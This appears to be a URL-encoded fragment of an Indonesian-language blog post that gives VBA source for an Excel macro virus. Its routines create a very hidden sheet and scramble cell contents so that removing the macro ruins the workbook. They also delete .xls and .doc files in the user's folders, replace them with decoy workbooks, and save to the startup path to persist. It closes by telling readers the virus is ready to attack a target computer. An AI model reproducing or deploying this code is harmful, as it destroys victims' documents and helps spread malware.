ot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EPrivate+Sub+Auto_Close%28%29%0D%0AOn+Error+Resume+Next%0D%0AIf+ActiveWorkbook.Name+%26lt%3B%26gt%3B+%E2%80%9CBook1%E2%80%B3+And+ActiveWorkbook.Name+%26lt%3B%26gt%3B+%E2%80%9CBook2%E2%80%B3+Then%0D%0AApplication.ScreenUpdating+%3D+False%0D%0AApplication.DisplayAlerts+%3D+False%0D%0AFor+NS+%3D+1+To+Sheets.Count%0D%0AIf+Sheets%28NS%29.Name+%3D+%E2%80%9CS1L3N7%E2%80%B3+Then%0D%0Akz+%3D+Sheets%28NS%29.Name%0D%0AExit+For%0D%0AEnd+If%0D%0Akz+%3D+Sheets%28NS%29.Name%0D%0ANext+NS%0D%0AIf+kz+%26lt%3B%26gt%3B+%E2%80%9CS1L3N7%E2%80%B3+Then%0D%0ASheets.Add%0D%0AActiveWindow.ActiveSheet.Name+%3D+%E2%80%9CS1L3N7%E2%80%B3%0D%0ASheets%28%E2%80%9DS1L3N7%E2%80%B3%29.Visible+%3D+xlSheetVeryHidden%0D%0AEnd+If%0D%0ACryptSTAT+%3D+Sheets%28%E2%80%9DS1L3N7%E2%80%B3%29.Range%28%E2%80%9DA7%E2%80%B3%29%0D%0AIf+CryptSTAT+%26lt%3B%26gt%3B+1+Then%0D%0Akacau%0D%0ASheets%28%E2%80%9DS1L3N7%E2%80%B3%29.Range%28%E2%80%9DA7%E2%80%B3%29+%3D+1%0D%0ASvFl+%3D+Dir%28Application.StartupPath+%26amp%3B+%E2%80%9C%E2%80%9D+%26amp%3B+%E2%80%9C*.xls%E2%80%9D%29%0D%0Aworkbooks%28SvFl%29.Save%0D%0AActiveWorkbook.Save%0D%0AEnd+If%0D%0AEnd+If%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98klo+file+d+tutup+basic+encrypt%0D%0A%E2%80%99supaya+klo+macro+d+hapus+%26amp%3B+DUUUAAARRR+rusak+file-nya%0D%0ASub+kacau%28%29+%E2%80%98kurang+setiap+sheets%0D%0AFor+i+%3D+48+To+90+%E2%80%9848+as+0+and+90+as+Z%0D%0AIf+i+%26lt%3B%26gt%3B+63+Then%0D%0Ahuruf+%3D+Chr%28i%29%0D%0ACells.Replace+What%3A%3Dhuruf%2C+Replacement%3A%3DChr%28i+%2B+110%29%2C+LookAt%3A%3DxlPart%2C+SearchOrder+_%0D%0A%3A%3DxlByRows%2C+MatchCase%3A%3DFalse%0D%0AEnd+If%0D%0ANext%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98kembalikan+%28decrypt%29+struktur+file+saat+d+buka%0D%0ASub+susun%28%29%0D%0AFor+i+%3D+158+To+200%0D%0AIf+i+%26lt%3B%26gt%3B+173+Then%0D%0Ahuruf+%3D+Chr%28i%29%0D%0ACells.Replace+What%3A%3Dhuruf%2C+Replacement%3A%3DChr%28i+%E2%80%93+110%29%2C+LookAt%3A%3DxlPart%2C+SearchOrder+_%0D%0A%3A%3DxlByRows%2C+MatchCase%3A%3DFalse%0D%0AEnd+If%0D%0ANext%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3E%E2%80%98hapus+file+xls%2Cdoc+%26amp%3B+file+yg+anda+inginkan%0D%0A%E2%80%98membuat+file+tipuan+dg+nama+sesuai+folder%0D%0ASub+cari%28%29%0D%0AOn+Error+Resume+Next%0D%0ADim+nmfold1%2C+nmfold2%2C+pjg%2C+kena+As+Integer%0D%0Apnm+%3D+ActiveWorkbook.FullName%0D%0Apjg+%3D+Len%28pnm%29%0D%0AFor+i+%3D+0+To+50%0D%0Apjg+%3D+pjg+%E2%80%93+1%0D%0AIf+Right%28Left%28pnm%2C+pjg%29%2C+1%29+%3D+%E2%80%9C%E2%80%9D+Then%0D%0Afoldbatas+%3D+Left%28pnm%2C+pjg%29%0D%0AKill+foldbatas+%26amp%3B+%E2%80%9C*.xls%E2%80%9D%0D%0AKill+foldbatas+%26amp%3B+%E2%80%9C*.doc%E2%80%9D%0D%0AKill+foldbatas+%26amp%3B+%E2%80%9Cirma.*%E2%80%9D%0D%0AIf+a+%3D+0+Then%0D%0Anmfold1+%3D+Len%28foldbatas%29+%E2%80%93+1%0D%0Apnm+%3D+Left%28pnm%2C+nmfold1%29%0D%0Aa+%3D+1%0D%0AElse%0D%0Anmfold2+%3D+Len%28foldbatas%29+%2B+1%0D%0Akena+%3D+nmfold1+%E2%80%93+nmfold2%0D%0Anamekena+%3D+Right%28pnm%2C+kena+%2B+1%29%0D%0AApplication.ScreenUpdating+%3D+False%0D%0Aworkbooks.Add+%28namekena+%26amp%3B+%E2%80%9C.xls%E2%80%9D%29%0D%0AActiveWorkbook.Save%0D%0AActiveWorkbook.Close%0D%0AApplication.ScreenUpdating+%3D+True%0D%0AExit+For%0D%0AEnd+If%0D%0AEnd+If%0D%0ANext%0D%0AEnd+Sub%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22MsoNormal%22+style%3D%22line-height%3A+normal%3B+mso-margin-bottom-alt%3A+auto%3B+mso-margin-top-alt%3A+auto%3B%22%3E%0D%0A%3Cspan+style%3D%22font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%2C%26quot%3Bserif%26quot%3B%3B+font-size%3A+12.0pt%3B+mso-fareast-font-family%3A+%26quot%3BTimes+New+Roman%26quot%3B%3B%22%3EOke+sekarang+virusnya+udah+siap+tinggal+serang+computer+target%21%21%21%21%21%3C%2Fspan%3E%3C%2Fdiv%3E%0D%0A%3C%2Fdiv%3E%0D%0A